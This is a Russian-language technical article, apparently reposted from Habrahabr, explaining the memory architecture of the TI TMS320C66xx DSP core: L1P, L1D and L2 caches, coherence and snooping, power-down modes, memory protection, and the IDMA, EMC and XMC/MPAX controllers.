Кэширование с отложенным возвратом кодов/данных из кэш в основную память (write back cache) означает, что при попадании записи (write hit) данные/коды в основную память не пишутся, а пишутся только в кэш с пометкой, что данная строка кэш является грязной (Dirty), то есть ее надо в будущем скопировать в основную память.

При работе с кэш на ЦСП TMS320C66xx следует иметь в виду следующие аспекты. Память уровня L2 всегда кэшируется в L1, достаточно лишь сконфигурировать L1, как кэш. При кэшировании внешней памяти, необходимо дополнительно указывать, что и где кэшировать. При этом коды из внешней памяти в L1P кэшируются всегда. Внешняя память делится на сегменты по 16 Мбайт, и их кэшируемость контролируется специальными управляющими регистрами MAR.

Те фрагменты памяти, которые выделяются под кэш, не указываются в разделе MEMORY в cmd-файле.

При работе с кэш неминуемо возникает проблема синхронизации кэш и основной памяти (cache coherence). Когерентность (синхронизация) кэш означает согласование содержимого кэш и основной памяти. Проблема когерентности кэш имеет место всегда, когда есть общий ресурс памяти, эта память является кэшируемой и происходит изменение содержимого памяти. Если кэш и основная память имеют разное содержимое, то есть являются не синхронизированными, то одно из устройств, обращающееся к памяти, может обратиться к неверным данным.

Процессор C66x обеспечивает автоматическую синхронизацию доступа к данным со стороны ядра и со стороны EDMA/IDMA. Когда DMA читает L2 SRAM, данные читаются из L1D-кэш и не меняются в L2 SRAM. Когда DMA пишет в L2 SRAM, данные пишутся одновременно и в L2 SRAM, и в L1D. Автоматическая синхронизация основана на механизме snooping – слежение. При обращениях со стороны DMA автоматически проверяется кэшируемость кодов/данных в памяти.

Ручная синхронизация (с помощью специальных команд библиотеки CSL) необходима в следующих случаях:
  • во внешнюю память через DMA или с другого внешнего источника пишутся данные или код, которые затем читаются CPU;
  • CPU пишет данные во внешнюю память, откуда они потом забираются DMA или другим устройством;
  • DMA пишет коды в L2 SRAM, которые потом исполняются CPU;
  • ядро пишет код в L2 SRAM или внешнюю память, и потом оно их исполняет.

Типовым вариантом использования памяти является следующая ситуация. C периферийного устройства 1 посредством DMA данные записываются в массив в памяти уровня L2 для обработки. Также через DMA обработанные данные выводятся из памяти L2 через периферийное устройство 2. Чтобы разделить обработку, ввод данных и вывод данных, используются две пары ping-pong буферов. При использовании только памяти уровней L2 с кэшированием в L1 синхронизация выполняется автоматически выше описанным образом.

Когда 2 пары ping-pong буферов размещаются во внешней памяти и проходят через 2 уровня кэш – L2 и L1 – тогда требуется ручная синхронизация. Перед началом ввода очередного массива во входной буфер по каналам DMA все строки кэш L1D и L2, ссылающиеся на данный массив, должны быть объявлены недействительными (invalidate). Массив будет заново кэшироваться, вызывая издержки кэш первого обращения. Аналогично, перед тем, как выходной массив будет отправлен через механизм DMA на периферийное устройство, необходимо выполнить синхронизацию памяти L1D и L2 с внешней памятью – write back.

Эффективность работы кэш-памяти является необходимым залогом успешной работы всего процессора. С этой точки зрения особенное значение приобретают отладочные средства визуализации кэш. Функция визуализации кэш поддерживается средой разработки кодов для процессоров Texas Instruments Code Composer Studio в окне отображения памяти процессора. Необходимо дополнительно включать функцию анализа памяти при выводе окна.

Локальная память программ L1P


Память программ уровня L1 (L1P) предназначена только для хранения программных кодов. Объем памяти варьируется от устройства к устройству и для процессора TMS320C6678 составляет 32 Кбайта. Память L1P может частично конфигурироваться как кэш. При этом объем кэш может составлять 0, 4, 8, 16 или 32 Кбайта. Остальной объем памяти конфигурируется как обычное ОЗУ. Под кэш выделяются старшие адреса L1P. По включению память L1P конфигурируется или полностью как ОЗУ, или с максимальным объемом кэш (зависит от конкретного устройства).

Память L1P сама кэшироваться в других областях кэш не может. Запись в память L1P производится только по каналам EDMA или IDMA. То есть запись в память L1P не доступна для разработчика, желающего записывать что-то в нее со стороны вычислительного ядра в ходе выполнения программы.

Обычно при обращении к L1P как к ОЗУ число тактов ожидания равно 0, однако, максимальное число тактов ожидания при работе с L1P может достигать 3. Управление памятью L1P в режиме кэш осуществляется через набор регистров. Изменение размера кэш и других параметров может осуществляться в ходе выполнения программы.

Опишем более подробно работу L1P в режиме кэш. В режиме кэш память L1P является памятью кэш с прямым отображением (direct-mapped cache). Данный механизм кэширования является наиболее простым и может наиболее часто приводить к конфликтам записи в кэш из разных секторов основной памяти. Очевидно, считается, что такого механизма для памяти программ оказывается достаточно, поскольку коды программ отличаются наибольшей степенью локализованности в пространстве памяти по сравнению с данными.

Режим фиксации кэш L1P (freeze mode) позволяет зафиксировать фрагмент кода в кэш. Попадания чтения выполняются обычным образом, а промахи кэш не меняют содержимого кэш и не делают коды в кэш недействительными. Фиксация L1P полезна при исполнении прерываний. Из-за переключения состояния процессора на небольшое время, нет смысла «портить» содержимое кэш.

Для синхронизации кэш L1P и основной памяти можно применять глобальную и блочную синхронизацию. Глобальная подразумевает синхронизацию всего объема кэш и выполняется по значимым для всей системы событиям, таким как смена задачи, смена режима работы кэш и других. Синхронизация подразумевает объявление содержимого кэш недействительным (invalidation) и выполняется установкой бит в управляющих регистрах. При этом копирование кэш в основную память не производится, поскольку кэш программ не модифицируется ядром.

Блочная синхронизация подразумевает, что в регистре управления кэш задается начальный адрес и длина блока кода, который надо объявить недействительным.

Синхронизация кэш занимает определенное время. Поэтому после инициализации синхронизации желательно выполнять ожидание окончания синхронизации. Об окончании синхронизации говорит флаг в регистре управления. Соответственно, нужен код, который этот флаг анализирует, причем данный код не следует располагать в области памяти, зависящей от кэш.

L1P-кэш работает на частоте ядра и в случае попаданий кэш никаких простоев нет, и команды выполняются за один такт (в конвейере). Однако в случае промаха кэш ситуация оказывается сложнее. L1P-кэш обращается к L2-памяти с целью выборки команд. Время чтения команды оказывается больше, но насколько больше, зависит от конкретного состояния конвейера и оказывается трудно предсказуемым. Зачастую простои конвейера из-за промахов кэш оказываются скрытыми (не влияют на процесс выполнения программы) из-за простоев самого командного конвейера. На TMS320C66x командный конвейер организован так, что его простои перекрываются с простоями из-за промахов кэш, что позволяет уйти от избыточного затягивания процесса выполнения команд. Здесь под простоями командного конвейера понимается то, что пакет выборки в большинстве случаев содержит более одного пакета выполнения, и выборка команд производится реже, чем их выполнение. Начальные стадии конвейера не читают следующую команду – простаивают, пока последующие стадии конвейера не выполнят текущие пакеты. Таким образом, появляется дополнительное время на обращение к памяти уровня L2 и далее, что позволяет частично или полностью скрыть промахи кэш L1P. Данная технология именуется конвейерная обработка промахов кэш (L1P miss pipeline).

На С66х пакет выполнения может формироваться из двух пакетов выборки.
Однако, очевидно, что для хорошо оптимизированных кодов, когда пакеты выборки практически совпадают с пакетами выполнения, данный подход теряет свою эффективность, и промахи кэш способны существенно затягивать процесс выполнения программ. Ориентировочные значения задержек выполнения из-за промахов кэш для различных вариантов состояния конвейера можно найти в документации на процессор.

Режим пониженного потребления используется для снижения общего потребления процессора в случаях, когда это представляет интерес. Память L1P может переводиться в режим пониженного потребления статически (static power-down), что подразумевает установку управляющего бита режима пониженного потребления; настройку прерывания, которое будет «будить» L1P и выполнение команды IDLE. Также память может переходить в данный режим динамически (dynamic power-down), что означает автоматический переход при выполнении программы из буфера SPLOOP. Также L1P-кэш переходит в режим пониженного потребления (feature-oriented power-down), когда кэш является неактивной (disabled). То есть если L1P сконфигурирована как кэш, но не активирована, то она находится в режиме пониженного потребления.

Чтение памяти L1P может производиться ядром, DMA и IDMA. Все команды включают 2 бита защиты – бит исполнения в пользовательском и бит исполнения в администраторском режимах. При чтении команд ядром они всегда анализируются на разрешенность их исполнения в текущем режиме. Если они оказываются запрещенными, происходит исключение (в случае чтения ядром) или прерывание (в случае чтения DMA/IDMA). Кроме того, доступ к регистрам памяти L1P также контролируется контроллером L1P и вызывает исключение в случае чтения или записи защищенного регистра.

Доступ для чтения/записи со стороны DMA/IDMA также контролируется на разрешенность. Можно настроить разные права доступа к различным страницам памяти. L1P строится из 16 страниц защиты памяти.

Локальная память данных L1D


Объем внутренней памяти данных L1 составляет до 128 Кбайт в зависимости от модели процессора и для TMS320C6678 составляет 32 Кбайта ОЗУ. Часть или вся L1D может конфигурироваться как кэш-память.

L1D-кэш – это двухвариантная ассоциативная кэш «с кэшированием при чтении» и «кэшированием с отложенным возвратом» (2-way set-associative, read-allocate, write back cache). Значения перечисленных понятий раскрывались выше.

При включении L1D инициализируется или полностью как ОЗУ или с максимальным размером кэш. Дальнейшая настройка L1D реализуется через регистры управления.

Кэш работает следующим образом. 32-разрядный адрес, выставляемый на адресную шину, имеет структуру, проиллюстрированную на рисунке.

Рисунок 2 — Структура адреса при обращении к кэш
Поле offset – это адрес в пределах одной строки кэш. Контроллером кэш он игнорируется, поскольку строка либо есть в кэш, либо нет целиком. Размер строки 64 байта соответствует размеру поля offset 6 бит. Чтобы установить факт наличия строки в кэш данное поле не нужно.
Поле set – определяет набор строк, к которым идет обращение. Длина поля set зависит от объема кэш-памяти и лежит в пределах 5-14 бит.
Поле Tag окончательно определяет адрес строки, к которой идет обращение, учитывая требуемый путь (way).

Кэш-память данных, в отличие от памяти программ, может меняться ядром процессора. Поэтому возврат измененных данных из кэш в основную память (write back) происходит либо по команде ядра, либо просто автоматически при замене строки кэш новой строкой из основной памяти. Размер L1D-кэш может меняться динамически.

В режиме фиксации содержимого кэш L1D работает в обычном режиме в случае попаданий чтения и записи и в случае промаха записи. Только бит LRU не изменяется при промахах. В случае промаха чтения обновление кэш не происходит. Команды синхронизации кэш продолжают работать в обычном режиме. Переход в режим фиксации кэш и обратно производится записью в регистры и может производиться динамически и достаточно быстро. Кроме того, часто в режим фиксации переводят одновременно L1D и L1P. Для этого в регистрах управления биты устанавливают последовательно.

Программная синхронизация L1D-кэш основывается на реализации трех команд:
  • объявление данных недействительными (invalidation);
  • возврат данных в основную память (writeback);
  • обе операции одновременно (writeback-invalidation).


Синхронизация может быть глобальной и блочной, аналогично памяти L1P. В отличие от L1P объявление содержимого памяти L1D недействительным может привести к потере данных (поскольку оно может меняться со стороны ядра), поэтому на практике лучше использовать либо блочную операцию writeback-invalidate, либо команды синхронизации L2-кэш.

Чтобы L1D-кэш могла синхронизироваться с памятью L2, изменяемой посредством DMA, контроллер L1D-кэш способен обрабатывать команды синхронизации, поступающие от L2. L2 генерирует команды синхронизации чтения/записи (snoop-read и snoop-write) только в ответ на соответствующую активность контроллера DMA. Команда snoop-read поступает от L2, когда L2 понимает, что запрашиваемая со стороны DMA строка находится в кэш и помечена как измененная (Dirty). L1D выдает эту строку на L2. Команда snoop-write формируется, когда L2 понимает, что строка, формируемая DMA, записана в L1D-кэш. При этом неважно менялась строка в L1D или нет, она перезаписывается новым значением.

Чтобы уменьшить число обращений к L1D со стороны L2 с целью синхронизации, L2 хранит свою собственную (теневую) копию тэгов памяти L1D-кэш. Эта копия обновляется каждый раз при обращении L1D к L2 и используется для того, чтобы L2 обращалась к ней, а не к самой L1D с целью узнать состояние тех или иных строк кэш. Если копия тэгов говорит L2 о том, что замену в L1D делать надо, только тогда идет обращение к самой L1D.

Рассмотрим подробнее структуру памяти L1D. Есть 8 банков памяти. Каждый банк имеет ширину одно слово – 4 байта. Банки – однопортовые, то есть к одному банку возможно только одно обращение за такт. Два одновременных обращения к одному банку в разных областях пространства памяти вызывают простой в один такт. Если два обращения идут к одному слову в одном банке, то простоя может не быть, если это два чтения любых байтов в составе слова; если это две записи разных байтов в составе слова. Если доступ идет со стороны ядра и DMA, то простой все равно будет – одно из устройств будет простаивать в зависимости от настройки приоритетов. Если к одному слову в одном банке идут обращения чтения и записи, то простой будет, даже если байты разные. L1D ОЗУ и кэш используют одну и ту же структуру памяти.

К памяти L1D возможно два обращения за такт. Если при обращении ни промахов, ни конфликтов банков памяти нет, то обращение выполняется за один такт. В случае промаха L1D данные извлекаются из L2, а если их нет и в L2, — то из L3. Если в одном такте происходят 2 обращения к одной строке кэш, которой нет в кэш, то промах вызывает только один такт простоя. Аналогично, если два обращения к одной строке кэш происходят последовательно, то простой будет только для первого промаха.

При замене старой строки кэш на новую ее содержимое возвращается в основную память через специальный буфер (victim buffer). Чтобы замена строк не вызывала дополнительных простоев, старые данные копируются в буфер, и чтение новых данных продолжается, а старые данные возвращаются в основную память в фоновом режиме. Последующие промахи кэш, однако, должны ждать, пока процесс возврата данных завершится. Если промахи не конфликтуют друг с другом, то они реализуются конвейерно и дополнительных простоев не возникает. Это касается промахов кэш при чтении. Промахи записи могут вызывать простои только при определенных обстоятельствах. Данные, требующие записи в L2, образуют очередь в буфере записи (L1D write buffer).

L1D реализует архитектуру памяти, при которой промахи записи в кэш вызывают прямое обращение к памяти более низкого уровня (L2) без размещения этих данных в кэш. Для этой цели служит буфер записи (write buffer). Этот буфер имеет размер 128 бит и является 4-портовым, обеспечивая возможность осуществлять до 4 отдельных записей данных в L2 одновременно. Промахи записи вызывают простои, только если буфер записи заполнен. Также заполненный буфер записи может косвенно увеличивать время простоя при промахе чтения. Дело в том, что промахи чтения не обслуживаются, пока буфер записи не освободится полностью. Это необходимо, так как чтение данных может производиться с того же адреса, по которому выполняется запись, и запись должна завершиться до начала чтения, иначе могут прочитаться неправильные данные.

Память L2 работает на частоте, в два раза меньшей, чем частота L1. Запросы от буфера записи она обрабатывает на своей частоте. Кроме того, следует учитывать возможные конфликты между банками памяти. Следует стараться, чтобы в буфере записи были данные из разных банков памяти, чтобы дать возможность одновременного их чтения и сократить возможное время простоев. Два последующих промаха записи объединяются в один и выполняются одновременно при соблюдении ряда условий, в частности, данные должны размещаться в пределах смежных 128 бит, оба обращения должны идти к L2 ОЗУ (не кэш) и ряд других. Данные условия имеют место при большой последовательности записей в память или при записи небольшого числа данных в заданную структуру в памяти. Описанный механизм сокращает время простоя процессора при промахах записи и повышает общую эффективность работы памяти L2. Он имеет существенное значение для программ с большим числом промахов записи в кэш.

Также, как и для памяти L1P, для сокращения общего времени простоев при промахах кэш организована конвейерная обработка промахов чтения.

Режим пониженного потребления L1D-памяти организуется аналогично L1P. L1D может быть переведена в режим пониженного потребления, когда процессор находится в режиме ожидания (idle mode). Для этого перед выполнением команды IDLE необходимо записать управляющий бит в соответствующий регистр и установить прерывания, по которым ядро процессора (включая память) должно просыпаться. В случае, если во время сна ядра происходит обращение к памяти L1D, L1P или L2 со стороны DMA контроллер пониженного потребления (PDC) «будит» все три памяти, а после завершения обслуживания DMA вновь погружает их в сон. Такой режим пониженного потребления называется статическим. Он обычно используется при больших интервалах сна.

Для защиты памяти L1D обращения к памяти L1D проверяются на доступ в пользовательском/администраторском режиме и на то, разрешено ли для данного режима обращение к данной области памяти. Если обращение производится к неразрешенным адресам, происходит исключение. Проверяются все обращения со стороны ведущих устройств (в первую очередь, DSP и IDMA) и тип исключения различается для внутренних и внешних обращений. Кроме доступа к данным проверке подлежат также операции синхронизации кэш. Ручная синхронизация кэш разрешена, как для администраторского, так и для пользовательского режимов, однако, в пользовательском режиме запрещается глобальное объявление данных недействительными и запрещается изменение размера кэш. Управление защитой памяти реализуется с помощью набора регистров.

Локальная память L2


Объем памяти уровня L2 лежит в диапазоне 64 — 4096 Кбайт и для TMS320C6678 составляет 512 Кбайт. Для обращения к L2 используется 1 порт шириной 256 бит. Память L2 строится как два физически независимых банка, включающих по 4 суббанка каждый. К каждому банку идет обращение по 128-разрядной шине. Как реализуется одновременный доступ к памяти L2 со стороны контроллеров L1D, L1P и IDMA будет рассмотрено ниже.

По умолчанию все пространство L2 конфигурируется как ОЗУ. Далее можно часть памяти выделить под кэш.

L2-кэш представляет собой 4-вариантную ассоциативную кэш-память. В отличие от кэш уровня L1 L2-кэш является кэш-памятью с кэшированием и по чтению, и по записи. Адрес памяти включает 3 поля — смещение (offset), набор (set) и тэг (tag). Смещение адресует конкретный байт в пределах одной строки кэш. Строки L2-кэш являются 128-байтными, поэтому на поле смещения выделяется 7 бит. Поле Set задает номер строки. В поле Tag указывается, к какому варианту (Way) относится данная строка и указывается набор атрибутов, например, действительные данные или нет и так далее.

В случае промаха чтения данные читаются из памяти более низкого уровня и одновременно направляются в память L1. В случае промаха записи соответствующая строка помещается в L2-кэш и производится запись новых данных. Аналогично L1-кэш L2 является кэш-памятью с возвратом по необходимости, то есть модификация L2-кэш не отображается сразу в основной памяти. Изменение происходит или когда измененная строка кэш заменяется новой строкой или принудительно по программному запросу от ядра DSP. При этом данные возвращаются в основную память через модуль XMC.

По общему перезапуску L2 конфигурируется полностью как ОЗУ. При локальном перезапуске настройки кэш остаются, но все содержимое помечается как недействительное, а все обращения к памяти задерживаются до окончания пересброса.

Изменение размера L2-кэш может производиться «на лету» путем программной записи требуемых флагов в регистры управления. При этом надо быть осторожным с синхронизацией кэш-памяти. В руководстве по ядру CorePac приводится требуемая последовательность действий.

Режим фиксации кэш поддерживается, аналогично памяти уровня L1.

Также возможна принудительная программная синхронизация кэш L2. Аналогично L1, она может быть глобальной и блочной. Некоторые команды синхронизации затрагивают одновременно и работу L1-памяти.

В некоторых случаях, оказывается важно запретить кэширование некоторого участка памяти на определенных адресах. Настроить кэшируемость различных диапазонов адресов позволяют регистры атрибутов памяти (MAR). Каждый регистр отвечает за определенный диапазон адресов и включает два управляющих бита. Один указывает, является ли данный диапазон адресов кэшируемым или нет. Второй бит указывает, следует ли применять к данному диапазону адресов механизм предварительной выборки или нет. Регистры MAR могут перепрограммироваться в процессе выполнения программы. При этом следует соблюдать последовательность действий, приводимую в документации [2].

При поступлении запроса от L1P или L1D на контроллер памяти L2, если запрашиваемого адреса не оказывается в L2 (ОЗУ или кэш), контроллер L2 проверяет MAR-регистр для данной области памяти. Если диапазон не является кэшируемым, данный запрос обрабатывается как «долгое обращение» – данные проходят через L2 и L1D без кэширования (поскольку это некэшируемый диапазон памяти). Ядро DSP простаивает, ожидая окончания чтения. L1P кэширует команды всегда, когда кэш активирована, независимо от состояния MAR-регистров.

Рассмотрим вопросы синхронизации памяти уровней L1 и L2. Автоматически поддерживается синхронизация L2 ОЗУ и L1D-кэш. Автоматически не поддерживается синхронизация L2 ОЗУ и L1P, а также между внешней памятью (внешней для ядра) и кэш-памятью L2 и L1.

Для автоматической синхронизации кэш L1 и L2 применяют команды слежения – snoop-команды. Snoop-read – команда чтения – инициируется L2, когда DMA реализует чтение из L2 ОЗУ того, что размещается в кэш L1D и тэги, отображающие состояние кэш L1 в памяти L2 говорят, что строка была изменена. В ответ на запрос L2 память L1D-кэш в данном случае выдает половинную строку кэш, не меняя статуса строки (биты действительных данных, бит последнего прочитанного слова LRU и так далее). Snoop-write – команда записи – инициируется L2 при записи в L2 ОЗУ по каналам DMA при условии, что данный адрес присутствует в L1D-кэш. Была ли изменена данная строка в кэш, в данном случае, оказывается не важным. 256 бит новых данных направляются из L2 в L1D. Биты состояний кэш при этом не изменяются.

Если данные из L2-кэш «возвращаются» в основную память более низкого уровня, то кэш L1D не обновляется и данные (также как и программы в L1P) не объявляются недействительными.

Если данные из L1 возвращаются в основную память уровня L3 (или L2 внешнюю) – victim writebacks – содержимое L2 не меняется, если это промах L2-кэш, и меняется только бит недействительных данных в случае, если это попадание L2-кэш.

Механизм предвыборки поддерживается блоком XMC и инициируется L2-памятью с проверкой бит в регистрах MAR.

Память L2 переводится в режим пониженного потребления статически или динамически. Динамически – на небольшие периоды времени. Статически – на более продолжительное время, когда процессор (ядро CorePac) находится в режиме ожидания. Статический переход в режим пониженного потребления происходит вместе с переходом всего ядра в спящий режим. Если во время сна происходит обращение DMA к памяти L1PD или L2, то все три контроллера памяти просыпаются, а после обработки запроса DMA контроллер пониженного потребления (PDC) вновь их усыпляет.

Динамический переход в спящий режим для памяти L2 не управляется пользователем. В качестве L2 использована память типа Retenion Until Access – RTA. Такая память всегда находится в состоянии пониженного потребления и «пробуждает» только те блоки памяти, к которым идет запрос в данный момент. Таким образом, память L2 сама выполняет динамический переход в режим пониженного потребления, и пользователь на это не влияет.

Для памяти уровня L2, также как и для L1, поддерживаются функции защиты, то есть запрета доступа к заданным областям памяти в пользовательском режиме. Подробнее см. документацию [2].

Контроллер внутреннего прямого доступа в память — IDMA


Внутреннее DMA – IDMA – применяется для быстрой пересылки блоков данных между локальными областями памяти, включающими области L1P, L1D и L2, а также памятью конфигурации внешней периферии (CFG). Используется в 2 целях. Первая – пересылка данных между L1 и L2-памятью. При этом IDMA учитывает разницу в скоростях L1 и L2-памяти и оказывается эффективнее механизма кэширования, поскольку не задействует ядро процессора. Вторая – IDMA позволяет быстро запрограммировать регистры периферии в CFG-памяти. Частным вариантом использования IDMA является заполнение заданной области памяти требуемым значением.

IDMA включает 2 независимых канала передачи данных. Канал 0 (channel 0) используется для передачи данных из локальной памяти во внешнее пространство памяти конфигурации периферии – CFG. Канал 1 (channel 1) используется для локальных пересылок. Работа с IDMA ведется аналогично DMA-контроллеру традиционных DSP-процессоров и основана на наборе регистров управления. Подробное описание можно найти в [2].

Контроллер доступа к внешней памяти — EMC


Контроллер EMC является связующим звеном между ядром CorePac и остальными ресурсами процессора. Под внешней памятью в данном случае подразумевается нелокальная, в том числе внутрикристальная, память.

Контроллер EMC включает 2 порта – порт конфигурации регистров CFG и порт DMA в режиме «ведомый» — Slave DMA – SDMA. Порт SDMA дает доступ внешним ведущим устройствам, например, контролеру DMA (общему для процессора), интерфейсу SRIO и другим, к внутренним ресурсам ядра. То есть этот порт используется при передачах данных, инициируемых внешними для данного ядра устройствами, когда само ядро выступает в роли ведомого.

Контроллер расширения памяти — XMC


Контроллер XMC выполняет следующие 4 функции:
  • служит портом доступа к общей памяти MSMC – является MDMA-окном из L2-памяти в MSM-память;
  • выполняет функцию защиты памяти для адресов, лежащих за пределами ядра CorePac;
  • выполняет расширение и трансляцию адресов;
  • реализует функцию предварительной выборки (prefetching).

Первая функция состоит в реализации обмена данными между внутренними ресурсами ядра CorePac и общей памятью MSM.

Последняя функция (функция предвыборки) направлена на сокращение времени передачи потоков последовательных данных из медленной памяти MSM RAM или EMIF в более быструю локальную память ядра CorePac.

Функции защиты памяти и расширения адресов выполняются совместно модулем MPAX. Как это происходит, рассмотрим далее.

Процессор TMS320C66x поддерживает обычную 32-разрядную внутреннюю адресацию памяти. Такая длина адреса позволяет обращаться к 4 Гбайтному адресному пространству. В то же время, современные многоядерные системы обработки данных требуют больших объемов адресуемой памяти. Чтобы расширить возможности работы с памятью большого объема, процессор способен расширять внутренние 32-разрядные адреса ядра CorePac до 36-разрядных. 36-разрядная адресация позволяет адресовать до 64 Гбайт памяти.

В основе расширения адресов и защиты памяти лежит организация во внутреннем 32-разрядном локальном пространстве памяти 16 сегментов памяти, каждый из которых может иметь свой размер, свое размещение в локальной памяти, свои права доступа и свои правила отображения в общую память MSM. Это обеспечивает удобный и эффективный инструмент для организации взаимной работы большого числа ядер с общей памятью.

Программирование контроллера XMC реализуется через набор регистров. Часть из них определяет работу модуля MPAX, входящего в состав XMC и отвечающего за расширение и защиту адресов.

Работа модуля MPAX сводится к следующему. Каждый из 16 управляющих регистров модуля MPAX представляет собой двойной регистр вида как на рисунке 3.

Рисунок 3 — Сдвоенный регистр управления модуля MPAX
Верхний регистр задает начальный адрес BADDR и размер SEGSZ текущего сегмента памяти в пределах локальной памяти. Размер сегмента лежит в пределах от 4 Кбайт до 4 Гбайт. В последнем случае он занимает всю адресуемую локальную память. Нижний регистр задает адрес внешней 36-разрядной памяти, который замещает старшие биты адреса, по которому идет обращение, то есть он отображает данный сегмент в соответствующую (задаваемую разработчиком) область общей памяти. Кроме того, он задает опции разрешения доступа, то есть права доступа к данному сегменту памяти.

Какими могут быть точные значения полей и как локальные адреса преобразуются в глобальные подробно рассматривается в [2]. Отметим только, что механизм расширения адресов и выделения набора сегментов в общей памяти, которые могут перекрываться, позволяет создавать гибкие архитектуры памяти, расширяющие возможности совместной работы ядер в составе одного устройства.



Все статьи цикла:
  1. Обзор архитектуры процессора
  2. Операционные ядра: вычислительные ресурсы процессора
  3. Организация памяти ядра




Литература:
  1. TMS320C66x DSP Cache. User Guide. SPRUGY8. Texas Instruments, 2010
  2. TMS320C66x DSP CorePac. User Guide. SPRUGW0B. USA. Texas Instruments, 2011
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331948/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1031 1030 [1029] 1028 1027 ..
.. 1 Календарь